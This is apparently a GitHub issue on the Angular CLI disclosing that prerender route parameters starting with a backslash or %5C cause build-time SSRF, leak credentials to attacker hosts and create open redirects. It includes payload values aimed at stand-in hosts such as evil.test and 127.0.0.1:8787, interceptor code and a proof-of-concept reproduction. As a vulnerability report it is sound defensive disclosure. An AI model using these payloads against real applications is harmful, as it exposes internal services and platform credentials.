Skip to content

Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects #34569

Open

Description

@SkyZeroZx

Command

other

Is this a regression?

  • Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was

No response

Description

This is the part of #34474 that escaping doesn't reach. 22.2.5 ships both fixes from that issue, and a getPrerenderParams() value that starts with \ still leaves the application's origin twice: while ng build renders the page, and in the redirect it ships.

handlePrerenderParamsReplacement only checks the type (ng-routes.ts#L553-L570):

if (typeof value !== 'string') {
  throw new Error(/* ... */);
}

return parameterName === '**' ? `/${value}` : value;

So \cdn-login.test becomes the route /\cdn-login.test. As a path it looks harmless, but for http: the URL parser reads \ as /, so the route is //cdn-login.test, another host. Two places use the route as a URL:

  • renderPage builds the render request with new Request(new URL(url, serverURL)) (render-worker.ts#L54), so the page renders with that host as its origin, and every relative HttpClient call made during the render goes there.
  • The resolved redirectTo goes into the generated redirect page (prerender.ts#L258), or into Location with outputMode: 'server'.

Those values are application data, the docs read them from a service:

const ids = await dataService.getIds();
return ids.map((id) => ({ id }));

So whoever can write one row, through a public signup or as a CMS author, picks where the build connects and where visitors land. The product in the repro validates both inputs (no whitespace, no raw \, no ..) and these still pass, because RouteTree.getPathSegments percent-decodes each segment afterwards (route-tree.ts#L212-L213). One value is enough:

Value Entered through Result
\cdn-login.test workspace slug, public signup /%5Ccdn-login.test redirects to cdn-login.test
%5C127.0.0.2/docs/getting-started CMS page path the build reads an internal-only service and publishes the response
%5C127.0.0.1:8787/%2E%2E CMS page path the platform credentials go to 127.0.0.1:8787, and the site's index.html is replaced
%5Cevil.test/docs/getting-started CMS page path the build sends a request to evil.test

ng build exits 0 with no warning for all of them.

1. Open redirect. Each workspace gets a vanity URL that lands on its home page:

{ path: ':workspace', children: [
  { path: '', pathMatch: 'full', redirectTo: 'home' },
  { path: 'home', component: WorkspacePage },
]},

With the slug \cdn-login.test the build writes this redirect page:

<meta http-equiv="refresh" content="0; url=/\cdn-login.test/home" />

In Chrome, http://status.statuslane.test/%5Ccdn-login.test ends on http://cdn-login.test/home. The link has no @, no second scheme and no //. escapeHtml leaves the target as it is, since there's nothing in it to escape.

2. Reading an internal service. Docs pages load their body in a resolver, over a relative URL:

inject(HttpClient).get(`/api/content/${path}`, { responseType: 'text' });

With the page path %5C127.0.0.2/docs/getting-started the page renders at http://127.0.0.2, so the build fetches http://127.0.0.2/api/content/docs/getting-started, a service only the CI network can reach. Its response, database URL included, is written into the published page and into ng-state. The attacker never needs an inbound connection, the response comes back through the site. The tail has to name a route that exists, otherwise the build fails with The content returned was empty.

3. Credentials to another host. The home page calls the internal API or/and an interceptor adds the platform token only to relative URLs, which is the usual guard:

if (!req.url.startsWith('/api/internal/')) {
  return next(req);
}
return next(
  req.clone({
    setHeaders: { authorization, 'x-api-key': apiKey, cookie, 'x-ci-deploy-token': ciToken },
  }),
);

With %5C127.0.0.1:8787/%2E%2E the URL is still relative when the interceptor runs and the origin is applied later, so all four headers arrive at 127.0.0.1:8787. %2E%2E consumes the host segment when posix.join computes the output path (prerender.ts#L462), so the page is written over the site's own index.html and dist has no odd file name. That write races the real home page: 1 of 3 builds at 0 ms, 3 of 3 when the listener answers after 1500 ms. The credentials go out every time.

4. allowedHosts isn't consulted. The app sets security.allowedHosts: ["localhost"], none of the hosts above is on it, and the build went to all of them. A DNS name works the same. With the page path %5Cevil.test/docs/getting-started the page renders at http://evil.test, and its request only fails because .test doesn't resolve:

evil.test/docs/getting-started/index.html
    origin   http://evil.test
    content  "unavailable (Http failure response for http://evil.test/api/c)"

A name the attacker owns would connect. The page gets that origin even though nothing answered, because the origin is set before any request is made. allowedHosts only decides which Host headers the running server answers. A filter on the raw value doesn't help either, since %5C is decoded later.

Minimal Reproduction

Repository: https://github.com/SkyZeroZx/angular-cli-prerender-param-ssrf-poc

There the values arrive over HTTP from the application's own API, through a public signup and a CMS author token. Every host is on loopback.

npm ci
npm run attack
npm run browser
build              exit 0, prerendered 12, warnings 0
allowedHosts       ["localhost"] (angular.json)
  P1 signup "\cdn-login.test"                          accepted                     landed
  P2 cms    "%5C127.0.0.2/docs/getting-started"        accepted                     landed
  P3 cms    "%5C127.0.0.1:8787/%2E%2E"                 accepted                     landed
  P4 cms    "%5Cevil.test/docs/getting-started"        accepted                     landed
  [attacker] GET /api/internal/metrics  Host=127.0.0.1:8787  UA=node  (not in allowedHosts)
  [internal] GET /api/content/docs/getting-started  Host=127.0.0.2  UA=node  (not in allowedHosts)

Without the lab, one route and one value:

// app.routes.ts
export const routes: Routes = [
  {
    path: ':tenant',
    children: [
      { path: '', redirectTo: 'home', pathMatch: 'full' },
      { path: 'home', component: Page },
    ],
  },
  { path: '**', component: Page },
];

// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
  {
    path: ':tenant',
    renderMode: RenderMode.Prerender,
    getPrerenderParams: async () => [{ tenant: '\\evil.test' }],
  },
  { path: '**', renderMode: RenderMode.Client },
];
ng build
NG_ALLOWED_HOSTS=localhost PORT=4000 node dist/<app>/server/server.mjs &
curl -s -o /dev/null -D - http://localhost:4000/%5Cevil.test | grep -i location
location: /\evil.test/home

With --output-mode=static the same value writes a redirect page with the same target.

Exception or Error


Your Environment

Angular CLI 22.2.5
@angular/build 22.2.5
@angular/ssr 22.2.5
@angular/core 22.2.3
Node.js 24.16.0
npm 11.13.0
Windows 11 x64
Chrome 156

Anything else relevant?

No response

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions